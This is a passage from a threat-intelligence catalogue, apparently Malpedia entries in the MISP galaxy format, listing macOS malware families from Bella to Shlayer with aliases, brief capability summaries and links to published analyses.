https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048g
https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048e
https://objective-see.com/blog/blog_0x5F.html
https://securelist.com/operation-applejeus/87553/
https://posts.specterops.io/introducing-venator-a-macos-tool-for-proactive-detection-34055a017e56
https://securelist.com/apt-trends-report-q2-2020/97937/
https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf
https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048c
https://www.youtube.com/watch?v=1NkzTKkEM2k
https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048d
https://us-cert.cisa.gov/ncas/alerts/aa21-048a
https://www.youtube.com/watch?v=rjA0Vf75cYk
https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048f
https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048b
https://www.sentinelone.com/blog/four-distinct-families-of-lazarus-malware-target-apples-macos-platform/

Bella

The tag is: *misp-galaxy:malpedia="Bella"*

Bella is also known as:

Table 1419. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.bella
https://github.com/kai5263499/Bella
https://threatintel.blog/OPBlueRaven-Part2/
https://blog.malwarebytes.com/threat-analysis/2017/05/another-osx-dok-dropper-found-installing-new-backdoor/

Bundlore

The tag is: *misp-galaxy:malpedia="Bundlore"*

Bundlore is also known as:

- SurfBuyer

Table 1420. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.bundlore
https://www.trendmicro.com/en_hk/research/21/f/nukesped-copies-fileless-code-from-bundlore—leaves-it-unused.html
https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf
https://blog.confiant.com/new-macos-bundlore-loader-analysis-ca16d19c058c
https://twitter.com/ConfiantIntel/status/1393215825931288580?s=20
https://labs.sentinelone.com/resourceful-macos-malware-hides-in-named-fork/

Careto

The tag is: *misp-galaxy:malpedia="Careto"*

Careto is also known as:

- Appetite
- Mask

Table 1421. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.careto
https://www.alienvault.com/blogs/labs-research/os-x-malware-samples-analyzed

Casso

The tag is: *misp-galaxy:malpedia="Casso"*

Casso is also known as:

Table 1422. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.casso
https://www.sentinelone.com/blog/four-distinct-families-of-lazarus-malware-target-apples-macos-platform/

CDDS

Google TAG has observed this malware being delivered via watering hole attacks using 0-day exploits, targeting visitors to Hong Kong websites for a media outlet and a prominent pro-democracy labor and political group.

The tag is: *misp-galaxy:malpedia="CDDS"*

CDDS is also known as:

- Macma

Table 1423. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.cdds
https://www.sentinelone.com/labs/infect-if-needed-a-deeper-dive-into-targeted-backdoor-macos-macma/
https://blog.google/threat-analysis-group/analyzing-watering-hole-campaign-using-macos-exploits/
https://objective-see.com/blog/blog_0x69.html

Choziosi (OS X)

A loader delivering malicious Chrome and Safari extensions.

The tag is: *misp-galaxy:malpedia="Choziosi (OS X)"*

Choziosi (OS X) is also known as:

- ChromeLoader
- Chropex

Table 1424. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.choziosi
https://redcanary.com/blog/chromeloader/
https://www.th3protocol.com/2022/Choziosi-Loader
https://www.gdatasoftware.com/blog/2022/01/37236-qr-codes-on-twitter-deliver-malicious-chrome-extension
https://www.crowdstrike.com/blog/how-crowdstrike-uncovered-a-new-macos-browser-hijacking-campaign/

CloudMensis

The tag is: *misp-galaxy:malpedia="CloudMensis"*

CloudMensis is also known as:

Table 1425. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.cloud_mensis

https://www.welivesecurity.com/2022/07/19/i-see-what-you-did-there-look-cloudmensis-macos-spyware/

CoinThief

CoinThief was a malware package designed to steal Bitcoins from the victim, consisting of a binary patcher, browser extensions, and a backdoor component.

It was spreading in early 2014 from several different sources: - on Github (where the trojanized compiled binary didn’t match the displayed source code), o - on popular and trusted download sites line CNET’s Download.com or MacUpdate.com, and - as cracked applications via torrents camouflaged as Bitcoin Ticker TTM, BitVanity, StealthBit, Litecoin Ticker, BBEdit, Pixelmator, Angry Birds and Delicious Library.

The patcher‘s role was to locate and modify legitimate versions of the Bitcoin-Qt wallet application. The analyzed malware samples targeted versions of Bitcoin-Qt 0.8.1, 0.8.0 and 0.8.5. The earlier patch modified Bitcoin-Qt adding malicious code that would send nearly all the victim’s Bitcoins to one of the hard-coded addresses belonging to the attacker.

The browser extensions targeted Chrome and Firefox and are disguised as a “Pop-up blocker”. The extensions monitored visited websites, download malicious JavaScripts and injected them into various Bitcoin-related websites (mostly Bitcoin exchanges and online wallet sites). The injected JS scripts were able to modify transactions to redirect Bitcoin transfers to an attacker’s address or simply harvest login credentials to the targeted online service.

The backdoor enabled the attacker to take full control over the victim’s computer: - collect information about the infected computer - execute arbitrary shell scripts on the target computer - upload an arbitrary file from the victim’s hard drive to a remote server - update itself to a newer version

The tag is: *misp-galaxy:malpedia="CoinThief"*

CoinThief is also known as:

Table 1426. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.cointhief
https://reverse.put.as/2014/02/16/analysis-of-cointhiefa-dropper/
https://www.alienvault.com/blogs/labs-research/os-x-malware-samples-analyzed

Coldroot RAT

The tag is: *misp-galaxy:malpedia="Coldroot RAT"*

Coldroot RAT is also known as:

Table 1427. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.coldroot_rat
https://objective-see.com/blog/blog_0x2A.html
https://objectivebythesea.com/v2/talks/OBTS_v2_Seele.pdf

Convuster

The tag is: *misp-galaxy:malpedia="Convuster"*

Convuster is also known as:

Table 1428. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.convuster
https://securelist.com/convuster-macos-adware-in-rust/101258/

CpuMeaner

The tag is: *misp-galaxy:malpedia="CpuMeaner"*

CpuMeaner is also known as:

Table 1429. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.cpumeaner
https://www.sentinelone.com/blog/osx-cpumeaner-miner-trojan-software-pirates/

CreativeUpdater

The tag is: *misp-galaxy:malpedia="CreativeUpdater"*

CreativeUpdater is also known as:

Table 1430. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.creative_updater
https://digitasecurity.com/blog/2018/02/05/creativeupdater/
https://objective-see.com/blog/blog_0x29.html
https://blog.malwarebytes.com/threat-analysis/2018/02/new-mac-cryptominer-distributed-via-a-macupdate-hack/

Crisis

The tag is: *misp-galaxy:malpedia="Crisis"*

Crisis is also known as:

Table 1431. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.crisis
https://www.symantec.com/connect/blogs/crisis-windows-sneaks-virtual-machines
https://www.intego.com/mac-security-blog/new-apple-mac-trojan-called-osxcrisis-discovered-by-intego-virus-team/?
http://contagiodump.blogspot.com/2012/12/aug-2012-w32crisis-and-osxcrisis-jar.html

Crossrider

The tag is: *misp-galaxy:malpedia="Crossrider"*

Crossrider is also known as:

Table 1432. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.crossrider
https://blog.malwarebytes.com/threat-analysis/2018/04/new-crossrider-variant-installs-configuration-profiles-on-macs/?utm_source=twitter&utm_medium=social

Dacls (OS X)

The tag is: *misp-galaxy:malpedia="Dacls (OS X)"*

Dacls (OS X) is also known as:

Table 1433. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.dacls
https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf
https://objective-see.com/blog/blog_0x57.html
https://securelist.com/lazarus-on-the-hunt-for-big-game/97757/
https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-dacls-rat-backdoor-show-lazarus-multi-platform-attack-capability
https://securelist.com/mata-multi-platform-targeted-malware-framework/97746/

https://www.sygnia.co/mata-framework
https://objective-see.com/blog/blog_0x5F.html
https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-dacls-rat-backdoor-show-lazarus-multi-platform-attack-capability/
https://securelist.com/apt-trends-report-q2-2020/97937/
https://www.sentinelone.com/blog/four-distinct-families-of-lazarus-malware-target-apples-macos-platform/
https://blog.malwarebytes.com/threat-analysis/2020/05/new-mac-variant-of-lazarus-dacls-rat-distributed-via-trojanized-2fa-app/

DarthMiner

The tag is: *misp-galaxy:malpedia="DarthMiner"*

DarthMiner is also known as:

Table 1434. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.darthminer
https://blog.malwarebytes.com/threat-analysis/2018/12/mac-malware-combines-empyre-backdoor-and-xmrig-miner/

DazzleSpy

The tag is: *misp-galaxy:malpedia="DazzleSpy"*

DazzleSpy is also known as:

Table 1435. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.dazzle_spy
https://www.sentinelone.com/blog/sneaky-spies-and-backdoor-rats-sysjoker-and-dazzlespy-malware-target-macos/
https://objective-see.com/blog/blog_0x6D.html

Dockster

The tag is: *misp-galaxy:malpedia="Dockster"*

Dockster is also known as:

Table 1436. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.dockster
http://contagiodump.blogspot.com/2012/12/osxdockstera-and-win32trojanagentaxmo.html
https://www.f-secure.com/weblog/archives/00002466.html

Dummy

The tag is: *misp-galaxy:malpedia="Dummy"*

Dummy is also known as:

Table 1437. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.dummy
https://objective-see.com/blog/blog_0x32.html

Eleanor

Eleanor comes as a drag-and-drop file utility called EasyDoc Converter. This application bundle wraps a shell script that uses Dropbox name as a disguise and installs three components: a hidden Tor service, a Pastebin agent and a web service with a PHP-based graphical interface.

The Tor service transforms the victim's computer into a server that provides attackers with full anonymous access to the infected machine via Tor-generated address.

The Pastebin agent uploads the address in encrypted form to the Pastebin website where the attackers can obtain it.

The web service is the main malicious component that provides the attackers with the control over the infected machine. After successful authentication, the interface offers several control panels to the attackers, allowing them to do the following actions:

- Managing files
- Listing processes
- Connecting to various database management systems such as MySQL or SQLite
- Connecting via bind/reverse shell
- Executing shell command
- Capturing and browsing images and videos from the victim's webcam
- Sending emails with an attachment

The tag is: *misp-galaxy:malpedia="Eleanor"*

Eleanor is also known as:

Table 1438. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.eleanor
https://labs.bitdefender.com/2016/07/new-mac-backdoor-nukes-os-x-systems/

ElectroRAT

The tag is: *misp-galaxy:malpedia="ElectroRAT"*

ElectroRAT is also known as:

Table 1439. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.electro_rat
https://www.intezer.com/blog/research/operation-electrorat-attacker-creates-fake-companies-to-drain-your-crypto-wallets/
https://objective-see.com/blog/blog_0x61.html
https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-old-dogs-new-tricks.pdf

EvilOSX

The tag is: *misp-galaxy:malpedia="EvilOSX"*

EvilOSX is also known as:

Table 1440. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.evilosx
https://twitter.com/JohnLaTwC/status/966139336436498432
https://github.com/Marten4n6/EvilOSX

EvilQuest

The tag is: *misp-galaxy:malpedia="EvilQuest"*

EvilQuest is also known as:

- ThiefQuest

Table 1441. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/osx.evilquest
https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf
https://objective-see.com/blog/blog_0x59.html
https://labs.sentinelone.com/breaking-evilquest-reversing-a-custom-macos-ransomware-file-encryption-routine/
https://www.bleepingcomputer.com/news/security/evilquest-wiper-uses-ransomware-cover-to-steal-files-from-macs/
https://www.sentinelone.com/blog/evilquest-a-new-macos-malware-rolls-ransomware-spyware-and-data-theft-into-one/
https://objective-see.com/blog/blog_0x5F.html
https://github.com/gdbinit/evilquest_deobfuscator
https://www.crowdstrike.com/blog/how-crowdstrike-analyzes-macos-malware-to-optimize-automated-detection-capabilities
https://twitter.com/dineshdina04/status/1277668001538433025
https://www.sentinelone.com/labs/defeating-macos-malware-anti-analysis-tricks-with-radare2/

FailyTale

The tag is: *misp-galaxy:malpedia="FailyTale"*

FailyTale is also known as:

Table 1442. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.failytale
https://www.sentinelone.com/blog/trail-osx-fairytale-adware-playing-malware/

FinFisher (OS X)

The tag is: *misp-galaxy:malpedia="FinFisher (OS X)"*

FinFisher (OS X) is also known as:

Table 1443. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.finfisher
https://netzpolitik.org/2020/our-criminal-complaint-german-state-malware-company-finfisher-raided/
https://reverse.put.as/2020/09/26/the-finfisher-tales-chapter-1/

https://securelist.com/finspy-unseen-findings/104322/
https://objective-see.com/blog/blog_0x5F.html
https://www.amnesty.org/en/latest/research/2020/09/german-made-finspy-spyware-found-in-egypt-and-mac-and-linux-versions-revealed/
https://objective-see.com/blog/blog_0x4F.html

FlashBack

The tag is: *misp-galaxy:malpedia="FlashBack"*

FlashBack is also known as:

- FakeFlash

Table 1444. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.flashback
https://www.alienvault.com/blogs/labs-research/os-x-malware-samples-analyzed
http://contagiodump.blogspot.com/2012/04/osxflashbackk-sample-mac-os-malware.html
https://en.wikipedia.org/wiki/Flashback_(Trojan)
http://contagiodump.blogspot.com/2012/04/osxflashbacko-sample-some-domains.html
https://www.crowdstrike.com/blog/how-crowdstrike-analyzes-macos-malware-to-optimize-automated-detection-capabilities

FruitFly

The tag is: *misp-galaxy:malpedia="FruitFly"*

FruitFly is also known as:

- Quimitchin

Table 1445. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.fruitfly
https://www.virusbulletin.com/virusbulletin/2017/11/vb2017-paper-offensive-malware-analysis-dissecting-osxfruitflyb-custom-cc-server/
https://arstechnica.com/security/2017/01/newly-discovered-mac-malware-may-have-circulated-in-the-wild-for-2-years/
https://www.documentcloud.org/documents/4346338-Phillip-Durachinsky-Indictment.html
https://objectivebythesea.com/v3/talks/OBTS_v3_tReed.pdf

https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/
https://arstechnica.com/security/2017/07/perverse-malware-infecting-hundreds-of-macs-remained-undetected-for-years/

GIMMICK

This multi-platform malware is a ObjectiveC written macOS variant dubbed GIMMICK by Volexity. This malware is a file-based C2 implant used by Storm Cloud.

The tag is: *misp-galaxy:malpedia="GIMMICK"*

GIMMICK is also known as:

Table 1446. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.gimmick
https://cybersecuritynews.com/gimmick-malware-attacks/
https://www.volexity.com/blog/2022/03/22/storm-cloud-on-the-horizon-gimmick-malware-strikes-at-macos/

Gmera

The tag is: *misp-galaxy:malpedia="Gmera"*

Gmera is also known as:

- Kassi
- StockSteal

Table 1447. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.gmera
https://www.welivesecurity.com/2020/07/16/mac-cryptocurrency-trading-application-rebranded-bundled-malware/
https://blog.trendmicro.com/trendlabs-security-intelligence/mac-malware-that-spoofs-trading-app-steals-user-information-uploads-it-to-website/
https://objective-see.com/blog/blog_0x53.html

HiddenLotus

The tag is: *misp-galaxy:malpedia="HiddenLotus"*

HiddenLotus is also known as:

Table 1448. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.hiddenlotus
https://blog.malwarebytes.com/threat-analysis/2017/12/interesting-disguise-employed-by-new-mac-malware/

iMuler

The threat was a multi-stage malware displaying a decoy that appeared to the victim as a Chinese language article on the long-running dispute over the Diaoyu Islands; an array of erotic pictures; or images of Tibetan organisations. It consisted of two stages: Revir was the dropper/downloader and Imuler was the backdoor capable of the following operations:

- capture screenshots
- exfiltrate files to a remote computer
- send various information about the infected computer
- extract ZIP archive
- download files from a remote computer and/or the Internet
- run executable files

The tag is: *misp-galaxy:malpedia="iMuler"*

iMuler is also known as:

- Revir

Table 1449. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.imuler
https://nakedsecurity.sophos.com/2012/11/13/new-mac-trojan/
http://contagiodump.blogspot.com/2012/11/group-photoszip-osxrevir-osximuler.html
https://www.welivesecurity.com/2012/03/16/osximuler-updated-still-a-threat-on-mac-os-x/

Janicab

The tag is: *misp-galaxy:malpedia="Janicab"*

Janicab is also known as:

Table 1450. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.janicab

https://sec0wn.blogspot.com/2018/12/powersing-from-lnk-files-to-janicab.html
https://blog.avast.com/2013/07/22/multisystem-trojan-janicab-attacks-windows-and-macosx-via-scripts/
https://securelist.com/apt-trends-report-q3-2020/99204/
https://www.malwarology.com/2022/05/janicab-series-first-steps-in-the-infection-chain/
https://www.malwarology.com/2022/05/janicab-series-further-steps-in-the-infection-chain/
https://www.malwarology.com/2022/05/janicab-series-attibution-and-iocs/
https://archive.f-secure.com/weblog/archives/00002576.html
https://www.malwarology.com/2022/05/janicab-series-the-core-artifact/
https://www.macmark.de/blog/osx_blog_2013-08-a.php
https://securelist.com/deathstalker-mercenary-triumvirate/98177/
https://www.malwarology.com/posts/5-janicab-part_1/

KeRanger

The tag is: *misp-galaxy:malpedia="KeRanger"*

KeRanger is also known as:

Table 1451. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.keranger
http://researchcenter.paloaltonetworks.com/2016/03/new-os-x-ransomware-keranger-infected-transmission-bittorrent-client-installer/
https://objective-see.com/blog/blog_0x16.html
https://www.macworld.com/article/3234650/macs/keranger-the-first-in-the-wild-ransomware-for-macs-but-certainly-not-the-last.html

Keydnap

The tag is: *misp-galaxy:malpedia="Keydnap"*

Keydnap is also known as:

Table 1452. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.keydnap
http://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/
https://objective-see.com/blog/blog_0x16.html

https://www.welivesecurity.com/2016/08/30/osxkeydnap-spreads-via-signed-transmission-application/
https://github.com/eset/malware-ioc/tree/master/keydnap

Kitmos

The tag is: *misp-galaxy:malpedia="Kitmos"*

Kitmos is also known as:

- KitM

Table 1453. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.kitmos
https://www.f-secure.com/weblog/archives/00002558.html

Komplex

The tag is: *misp-galaxy:malpedia="Komplex"*

Komplex is also known as:

- JHUHUGIT
- JKEYSKW
- SedUploader

Table 1454. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.komplex
http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part1.pdf
http://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/
https://contagiodump.blogspot.de/2017/02/russian-apt-apt28-collection-of-samples.html
https://objective-see.com/blog/blog_0x16.html
https://blog.malwarebytes.com/threat-analysis/2016/09/komplex-mac-backdoor-answers-old-questions/

Lador

The tag is: *misp-galaxy:malpedia="Lador"*

Lador is also known as:

Table 1455. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.lador
https://www.crowdstrike.com/blog/how-crowdstrike-analyzes-macos-malware-to-optimize-automated-detection-capabilities/

Lambert (OS X)

The tag is: *misp-galaxy:malpedia="Lambert (OS X)"*

Lambert (OS X) is also known as:

- GreenLambert

Table 1456. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.lambert
https://objective-see.com/blog/blog_0x68.html

Laoshu

The tag is: *misp-galaxy:malpedia="Laoshu"*

Laoshu is also known as:

Table 1457. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.laoshu
https://objective-see.com/blog/blog_0x16.html
https://nakedsecurity.sophos.com/2014/01/21/data-stealing-malware-targets-mac-users-in-undelivered-courier-item-attack/

Leverage

The tag is: *misp-galaxy:malpedia="Leverage"*

Leverage is also known as:

Table 1458. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.leverage
https://www.volexity.com/blog/2017/07/24/real-news-fake-flash-mac-os-x-users-targeted/

https://www.alienvault.com/blogs/labs-research/osx-leveragea-analysis

MacDownloader

The tag is: *misp-galaxy:malpedia="MacDownloader"*

MacDownloader is also known as:

Table 1459. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.macdownloader
https://www.secureworks.com/research/threat-profiles/cobalt-gypsy
https://iranthreats.github.io/resources/macdownloader-macos-malware/

MacInstaller

The tag is: *misp-galaxy:malpedia="MacInstaller"*

MacInstaller is also known as:

Table 1460. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.macinstaller
https://objective-see.com/blog/blog_0x16.html

MacRansom

The tag is: *misp-galaxy:malpedia="MacRansom"*

MacRansom is also known as:

Table 1461. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.macransom
https://blog.fortinet.com/2017/06/09/macransom-offered-as-ransomware-as-a-service
https://objective-see.com/blog/blog_0x1E.html

MacSpy

The tag is: *misp-galaxy:malpedia="MacSpy"*

MacSpy is also known as:

Table 1462. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.macspy
https://www.alienvault.com/blogs/labs-research/macspy-os-x-rat-as-a-service

MacVX

The tag is: *misp-galaxy:malpedia="MacVX"*

MacVX is also known as:

Table 1463. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.macvx
https://objective-see.com/blog/blog_0x16.html

MaMi

The tag is: *misp-galaxy:malpedia="MaMi"*

MaMi is also known as:

Table 1464. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.mami
https://objective-see.com/blog/blog_0x26.html

Manuscrypt

The tag is: *misp-galaxy:malpedia="Manuscrypt"*

Manuscrypt is also known as:

Table 1465. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.manuscrypt
https://twitter.com/BitsOfBinary/status/1321488299932983296
https://www.anquanke.com/post/id/223817
https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf
https://twitter.com/BitsOfBinary/status/1337330286787518464

Mokes (OS X)

The tag is: *misp-galaxy:malpedia="Mokes (OS X)"*

Mokes (OS X) is also known as:

Table 1466. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.mokes
https://securelist.com/blog/research/75990/the-missing-piece-sophisticated-os-x-backdoor-discovered/
https://objective-see.com/blog/blog_0x16.html
https://objective-see.com/blog/blog_0x53.html

Mughthesec

The tag is: *misp-galaxy:malpedia="Mughthesec"*

Mughthesec is also known as:

Table 1467. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.mughthesec
https://objective-see.com/blog/blog_0x20.html

OceanLotus

The tag is: *misp-galaxy:malpedia="OceanLotus"*

OceanLotus is also known as:

Table 1468. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.oceanlotus
https://www.welivesecurity.com/2019/04/09/oceanlotus-macos-malware-update/
https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries
https://github.com/AmnestyTech/investigations/tree/master/2021-02-24_vietnam
https://www.trendmicro.com/en_us/research/20/k/new-macos-backdoor-connected-to-oceanlotus-surfaces.html
https://researchcenter.paloaltonetworks.com/2017/06/unit42-new-improved-macos-backdoor-oceanlotus/

https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-backdoor-linked-to-oceanlotus-found/
https://about.fb.com/news/2020/12/taking-action-against-hackers-in-bangladesh-and-vietnam/
https://tradahacking.vn/%C4%91%E1%BB%A3t-r%E1%BB%93i-t%C3%B4i-c%C3%B3-%C4%91%C4%83ng-m%E1%BB%99t-status-xin-d%E1%BA%A1o-tr%C3%AAn-fb-may-qu%C3%A1-c%C5%A9ng-c%C3%B3-v%C3%A0i-b%E1%BA%A1n-nhi%E1%BB%87t-t%C3%ACnh-g%E1%BB%ADi-cho-537b19ee3468
https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update
https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html
https://labs.sentinelone.com/apt32-multi-stage-macos-trojan-innovates-on-crimeware-scripting-technique/

Olyx

The tag is: *misp-galaxy:malpedia="Olyx"*

Olyx is also known as:

Table 1469. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.olyx
http://contagiodump.blogspot.com/2011/07/jul-25-mac-olyx-gh0st-backdoor-in-rar.html
https://news.drweb.com/show/?i=1750&lng=en&c=14

oRAT

SentinelOne describes this as a malware written in Go, mixing own custom code with code from public repositories.

The tag is: *misp-galaxy:malpedia="oRAT"*

oRAT is also known as:

Table 1470. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.orat
https://documents.trendmicro.com/assets/txt/earth-berberoka-macos-iocs-2.txt
https://www.sentinelone.com/blog/from-the-front-lines-unsigned-macos-orat-malware-gambles-for-the-win/
https://documents.trendmicro.com/assets/white_papers/wp-operation-earth-berberoka.pdf
https://www.botconf.eu/wp-content/uploads/2022/05/Botconf2022-40-LunghiHorejsi.pdf

OSAMiner

The tag is: *misp-galaxy:malpedia="OSAMiner"*

OSAMiner is also known as:

Table 1471. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.osaminer
https://labs.sentinelone.com/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/

Patcher

This crypto-ransomware for macOS was caught spreading via BitTorrent distribution sites in February 2017, masquerading as 'Patcher', an application used for pirating popular software like Adobe Premiere Pro or Microsoft Office for Mac.

The downloaded torrent contained an application bundle in the form of a single zip file. After launching the fake application, the main window of the fake cracking tool was displayed.

The file encryption process was launched after the misguided victim clicked 'Start'. Once executed, the ransomware generated a random 25-character string and set it as the key for RC4 encryption of all of the user’s files. It then demanded ransom in Bitcoin, as instructed in the 'README!' .txt file copied all over the user’s directories.

Despite the instructions being quite thorough, Patcher lacked the functionality to communicate with any C&C server, and therefore made it impossible for its operators to decrypt affected files. The randomly generated encryption key was also too long to be guessed via a brute-force attack, leaving the encrypted data unrecoverable in a reasonable amount of time.

The tag is: *misp-galaxy:malpedia="Patcher"*

Patcher is also known as:

- FileCoder
- Findzip

Table 1472. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.patcher
http://www.welivesecurity.com/2017/02/22/new-crypto-ransomware-hits-macos/

PintSized

Backdoor as a fork of OpenSSH_6.0 with no logging, and “-P” and “-z” hidden command arguments. “PuffySSH_5.8p1” string.

The tag is: *misp-galaxy:malpedia="PintSized"*

PintSized is also known as:

Table 1473. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.pintsized
https://eromang.zataz.com/2013/03/24/osx-pintsized-backdoor-additional-details/

Pirrit

The tag is: *misp-galaxy:malpedia="Pirrit"*

Pirrit is also known as:

Table 1474. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.pirrit
http://www.zdnet.com/article/maker-of-sneaky-mac-adware-sends-security-researcher-cease-and-desist-letter/
http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf
https://forensicitguy.github.io/analyzing-pirrit-adware-installer/
https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf
https://www.cybereason.com/hubfs/Content%20PDFs/OSX.Pirrit%20Part%20III%20The%20DaVinci%20Code.pdf

Proton RAT

The tag is: *misp-galaxy:malpedia="Proton RAT"*

Proton RAT is also known as:

- Calisto

Table 1475. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.proton_rat
https://www.hackread.com/hackers-selling-undetectable-proton-mac-malware/
https://www.cybereason.com/labs-blog/labs-proton-b-what-this-mac-malware-actually-does
https://threatpost.com/handbrake-for-mac-compromised-with-proton-spyware/125518/
https://securelist.com/calisto-trojan-for-macos/86543/
https://www.welivesecurity.com/2017/10/20/osx-proton-supply-chain-attack-elmedia/

https://objective-see.com/blog/blog_0x1F.html
https://blog.malwarebytes.com/threat-analysis/mac-threat-analysis/2017/11/osx-proton-spreading-through-fake-symantec-blog/
https://www.cybersixgill.com/wp-content/uploads/2017/02/02072017%20-%20Proton%20-%20A%20New%20MAC%20OS%20RAT%20-%20Sixgill%20Threat%20Report.pdf
https://objective-see.com/blog/blog_0x1D.html

Pwnet

Cryptocurrency miner that was distributed masquerading as a Counter-Strike: Global Offensive hack.

The tag is: *misp-galaxy:malpedia="Pwnet"*

Pwnet is also known as:

Table 1476. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.pwnet
https://sentinelone.com/blog/osx-pwnet-a-csgo-hack-and-sneaky-miner/

Dok

Dok a.k.a. Retefe is the macOS version of the banking trojan Retefe. It consists of a codesigned Mach-O dropper usually malspammed in an app bundle within a DMG disk image, posing as a document. The primary purpose of the dropper is to install a Tor client as well as a malicious CA certificate and proxy pac URL, in order to redirect traffic to targeted sites through their Tor node, effectively carrying out a MITM attack against selected web traffic. It also installs a custom hosts file to prevent access to Apple and VirusTotal. The macOS version shares its MO, many TTPs and infrastructure with the Windows counterpart.

The tag is: *misp-galaxy:malpedia="Dok"*

Dok is also known as:

- Retefe

Table 1477. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.retefe
https://blog.checkpoint.com/2017/07/13/osxdok-refuses-go-away-money/
https://www.proofpoint.com/us/threat-insight/post/2019-return-retefe
https://www.govcert.admin.ch/blog/33/the-retefe-saga

http://blog.checkpoint.com/2017/04/27/osx-malware-catching-wants-read-https-traffic/

Shlayer

The tag is: *misp-galaxy:malpedia="Shlayer"*

Shlayer is also known as:

Table 1478. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.shlayer
https://objective-see.com/blog/blog_0x64.html
